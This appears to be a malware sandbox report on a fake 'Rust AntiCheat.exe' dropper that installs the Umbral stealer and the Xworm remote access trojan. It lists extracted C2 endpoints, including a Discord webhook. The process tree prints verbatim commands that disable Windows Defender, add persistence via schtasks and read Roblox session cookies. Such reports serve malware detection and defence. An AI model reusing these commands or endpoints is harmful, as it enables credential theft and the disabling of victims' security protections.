Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    47s
  • max time network
    48s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/09/2024, 15:34

Errors

Reason
Machine shutdown

General

  • Target

    Rust AntiCheat.exe

  • Size

    1.1MB

  • MD5

    9b044bfee63da32d66539cd56741e2d7

  • SHA1

    22b313baac54ea88cb581347d7226073033cb64c

  • SHA256

    3acef42e6894019c44addea96a3ef2048b7b0f902b805c2e8d093db549091297

  • SHA512

    f0cf4ef7516a7227a92ad9e098661f2683e07418cce2473851eaa6deb3c1db4859d9ce50f1615288e28c668b69fefb9ba1c2069dc2fe84c54a97616cf7ba7876

  • SSDEEP

    24576:7cM0t9RyT52bxGzz9qshXGFh9jvTXZbX5y4h1ptssmnt:ArRyT529KXgh9btbXJbGsmt

Malware Config

Extracted

Family

umbral

C2

https://ptb.discord.com/api/webhooks/1271826116721639445/0LTa3NkwRKKJuRNql7cAkLRG6HVFF6qerOeff_MVz-9g28SPb06nhaG45QDZdp1IGvu2

Extracted

Family

xworm

C2

expected-schema.gl.at.ply.gg:2980

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 15 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Rust AntiCheat.exe
    "C:\Users\Admin\AppData\Local\Temp\Rust AntiCheat.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4464
    • C:\Users\Admin\AppData\Local\Loader (1).exe
      "C:\Users\Admin\AppData\Local\Loader (1).exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4404
    • C:\Users\Admin\AppData\Local\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Local\RuntimeBroker.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4188
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4496
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3432
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\RuntimeBroker"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4472
      • C:\Windows\SYSTEM32\shutdown.exe
        shutdown.exe /f /s /t 0
        3⤵
          PID:3636
      • C:\Users\Admin\AppData\Local\Umbral.exe
        "C:\Users\Admin\AppData\Local\Umbral.exe"
        2⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2380
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:264
        • C:\Windows\SYSTEM32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Umbral.exe"
          3⤵
          • Views/modifies file attributes
          PID:1176
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Umbral.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2832
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4216
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2376
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1884
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4844
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
            PID:4296
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:4848
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:264
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              3⤵
              • Detects videocard installed
              PID:4484
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Umbral.exe" && pause
              3⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:3124
              • C:\Windows\system32\PING.EXE
                ping localhost
                4⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:2376
        • C:\Windows\system32\LogonUI.exe
          "LogonUI.exe" /flags:0x4 /state0:0xa39bf855 /state1:0x41c64e6d
          1⤵
          • Modifies data under HKEY_USERS
          • Suspicious use of SetWindowsHookEx
          PID:4572

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Loader (1).exe

          Filesize

          827KB

          MD5

          eefb801774c5ccb44153268a9357f5f1

          SHA1

          b1906b22e14edd142c52808ab3e5ba9346b85de5

          SHA256

          677aeb1981c58cba41a5d53ccbbf5b471e62dc49dc326570767da940560d840d

          SHA512

          1cf162fe6184d68dca514059d2de1123e80d0faac401765a54224aa5a987c9454bc92263fbec566835aa7b402f1f63ba59bb425ccc139e0a7391e66991f270b7

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          276798eeb29a49dc6e199768bc9c2e71

          SHA1

          5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

          SHA256

          cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

          SHA512

          0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          7511c81925750deb7ad1b9b80eea8a8d

          SHA1

          6ea759b3cbd243ae11435c6d6c5ced185eb01f49

          SHA256

          5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

          SHA512

          5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          568e6222a8488c7ee4b5a5890392e98b

          SHA1

          90ddd2cd0063f10042bb07fd55778dc367d2077c

          SHA256

          96bcdf5b85e760845420d4b647f4cf9e651b6b0653f54471b63c0582f5865c7f

          SHA512

          c70ebf96b0c7ec1ceb334a95d477f4dab2e84c3865fb3cac86518a2003b3bec4a544c70d3b5201efb41fcd8c4ab24617a25d0f1b305833a99adf3480eb0c1d21

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          f58e3438f147fcc00edf8cd74308cc27

          SHA1

          f2eef0624e3a5da518538d7d7257a5c03b83654c

          SHA256

          379f00d1eba06d8462cd1b2e9abe340cd10921bdb5848988b60d545edc02df22

          SHA512

          4de19b0f3ab2a0809dcc9dc44e2543bc9c8f94af959975b20ddd593f7dbb4b5ac4aa46015e3b138cd2a4e6d1b97c999cbb1da0deae2dc47ca1ba482fdf0bf9d0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          96ff1ee586a153b4e7ce8661cabc0442

          SHA1

          140d4ff1840cb40601489f3826954386af612136

          SHA256

          0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

          SHA512

          3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          966914e2e771de7a4a57a95b6ecfa8a9

          SHA1

          7a32282fd51dd032967ed4d9a40cc57e265aeff2

          SHA256

          98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

          SHA512

          dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

        • C:\Users\Admin\AppData\Local\RuntimeBroker.exe

          Filesize

          90KB

          MD5

          79fef04d806d7916fa1bf6d30358d4de

          SHA1

          2afb944edcf58c6594c734fbe0c8416b6bc1f447

          SHA256

          76f2d446e7fc3631f352180c201de9eb139d1acf3daf5dd63fe69502fa253bf1

          SHA512

          897021db19492ed9cf5ae3d68d840af1f68cf8836b1e5935485e42e569ecf8c95c85fe50b9e25ab13275209ed112906d06ef03a83502a0fa5904e60d3c3dad1e

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0f4nrioa.r3x.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Umbral.exe

          Filesize

          231KB

          MD5

          2986f5be729cdf63ccb15a204a46d31b

          SHA1

          a7a733787f7aa226153d4ff693349cd88fc4a96f

          SHA256

          9242c3d80edfd477acaac2f7037d8fe77395b31c0c923cd65309df09ce2c8403

          SHA512

          edbb2cb4731d59e92ccf781d25569efa1a9ecd1df116860673898606d5e208e6c39fd8ab2066c902c542bdd61acc6c204eabad30a0d3f1ead82973005cc037f5

        • memory/2380-108-0x00000254EDD40000-0x00000254EDD4A000-memory.dmp

          Filesize

          40KB

        • memory/2380-36-0x00000254ED860000-0x00000254ED8A0000-memory.dmp

          Filesize

          256KB

        • memory/2380-174-0x00007FF8FA120000-0x00007FF8FABE1000-memory.dmp

          Filesize

          10.8MB

        • memory/2380-109-0x00000254EDD70000-0x00000254EDD82000-memory.dmp

          Filesize

          72KB

        • memory/2380-70-0x00000254F0020000-0x00000254F0096000-memory.dmp

          Filesize

          472KB

        • memory/2380-71-0x00000254EFE80000-0x00000254EFED0000-memory.dmp

          Filesize

          320KB

        • memory/2380-72-0x00000254EFEE0000-0x00000254EFEFE000-memory.dmp

          Filesize

          120KB

        • memory/2380-39-0x00007FF8FA120000-0x00007FF8FABE1000-memory.dmp

          Filesize

          10.8MB

        • memory/2832-44-0x000002623D170000-0x000002623D192000-memory.dmp

          Filesize

          136KB

        • memory/4188-35-0x00000000003A0000-0x00000000003BC000-memory.dmp

          Filesize

          112KB

        • memory/4188-38-0x00007FF8FA120000-0x00007FF8FABE1000-memory.dmp

          Filesize

          10.8MB

        • memory/4188-175-0x00007FF8FA120000-0x00007FF8FABE1000-memory.dmp

          Filesize

          10.8MB

        • memory/4188-176-0x00007FF8FA120000-0x00007FF8FABE1000-memory.dmp

          Filesize

          10.8MB

        • memory/4404-40-0x0000000000FB0000-0x0000000001086000-memory.dmp

          Filesize

          856KB

        • memory/4404-42-0x00000000095D0000-0x0000000009608000-memory.dmp

          Filesize

          224KB

        • memory/4404-43-0x00000000095B0000-0x00000000095BE000-memory.dmp

          Filesize

          56KB

        • memory/4464-0-0x00007FF8FA123000-0x00007FF8FA125000-memory.dmp

          Filesize

          8KB

        • memory/4464-1-0x00000000002E0000-0x0000000000408000-memory.dmp

          Filesize

          1.2MB